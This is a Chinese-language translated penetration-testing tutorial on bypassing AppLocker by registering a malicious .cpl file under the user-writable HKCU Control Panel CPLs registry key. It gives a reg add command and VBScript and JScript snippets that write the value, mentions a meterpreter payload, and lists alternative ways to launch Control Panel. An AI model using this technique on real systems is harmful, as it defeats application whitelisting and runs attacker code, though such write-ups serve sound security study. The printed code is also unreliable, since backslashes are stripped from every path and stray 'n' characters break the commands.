標籤:

繞過AppLocker系列之控制面板的利用

使用默認規則實現AppLocker不能提供任何充分的保護,因為通過使用合法的Windows二進位文件和利用常見的系統錯誤配置就會產生多個繞過方法。在Windows系統中,當用戶打開控制面板時,會載入多個CPL文件。這些CPL文件的列表是從註冊表中獲得的。

Francesco Mifsud 發現,當啟動控制面板時,將檢查以下兩個註冊表位置,然後載入CPL。

HKLMSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLsnHKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLsn

問題就出在第二個註冊表的位置,普通用戶具有寫入許可權,所以可以在註冊表中寫入一個註冊表鍵,該註冊表將在控制面板啟動時載入和執行惡意代碼。唯一的條件是用戶的系統允許打開控制面板和註冊表。註冊表二進位文件位於Windows文件夾內,默認情況下,AppLocker允許執行此文件夾內的所有內容。在大多數環境中也是允許控制面板運行的。

繞過AppLocker ——阻止 CMD 運行

第一步是創建一個DLL並將其重命名為.Cpl,以便它可以與控制面板一起執行。Metasploit 的Msfvenom可以創建一個自定義的DLL,其中可以包含一個嵌入的meterpreter有效負載或者Didier Stevens的 cmd DLL文件,可以用來繞過禁止cmd運行的限制。

以下命令將創建一個註冊表鍵,這個註冊表鍵的值將包含存儲在主機上的CPL文件的路徑。默認情況下,標準用戶對自己的配置單元是具有寫入許可權的。

reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls"n/v pentestlab.cpl /t REG_SZ /d "C:pentestlab.cpl"n

繞過AppLocker —— 將註冊表鍵添加到註冊表

如果cmd被禁用,可以使用註冊表編輯器添加註冊表項:

註冊表編輯器 – 添加CPL註冊表鍵

Francesco Mifsud還發布了兩個腳本,可以在cmd和註冊表編輯器被阻止時將註冊表鍵添加到註冊表中。

VBScript:

const HKEY_CURRENT_USER = &H80000001n nstrComputer = "."n nSet objReg=GetObject(n"winmgmts:{impersonationLevel=impersonate}!" & strComputer & "rootdefault:StdRegProv")n nstrKeyPath = "SoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs"nobjReg.CreateKey HKEY_CURRENT_USER,strKeyPathn nstrValueName = "pentestlabCPL"nstrValue = "C:pentestlabCPL.cpl"nobjReg.SetStringValuenHKEY_CURRENT_USER,strKeyPath,strValueName,strValuen

Jscript:

var obj = WScript.CreateObject("WScript.Shell");nobj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs", "Top level key");nobj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLspentestlabCPL", "C:pentestlabCPL.cpl","REG_SZ");n

從啟動控制面板的那一刻開始,代碼將被執行,cmd將被打開。

AppLocker Bypass – 通過控制面板命令提示符

在控制面板被阻止打開的情況下,可以使用以下位置作為啟動控制面板的替代方法。

· C:windowssystem32control.exen· AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnkn· shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}n· shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}n· shell:::{ED7BA470-8E54-465E-825C-99712043E01C}n· My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}n

資源

Applocker Bypass via Registry Key Manipulation

本文翻譯自:AppLocker Bypass – Control Panel ,如若轉載,請註明來源於嘶吼: 繞過AppLocker系列之控制面板的利用 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

TAG:信息安全 |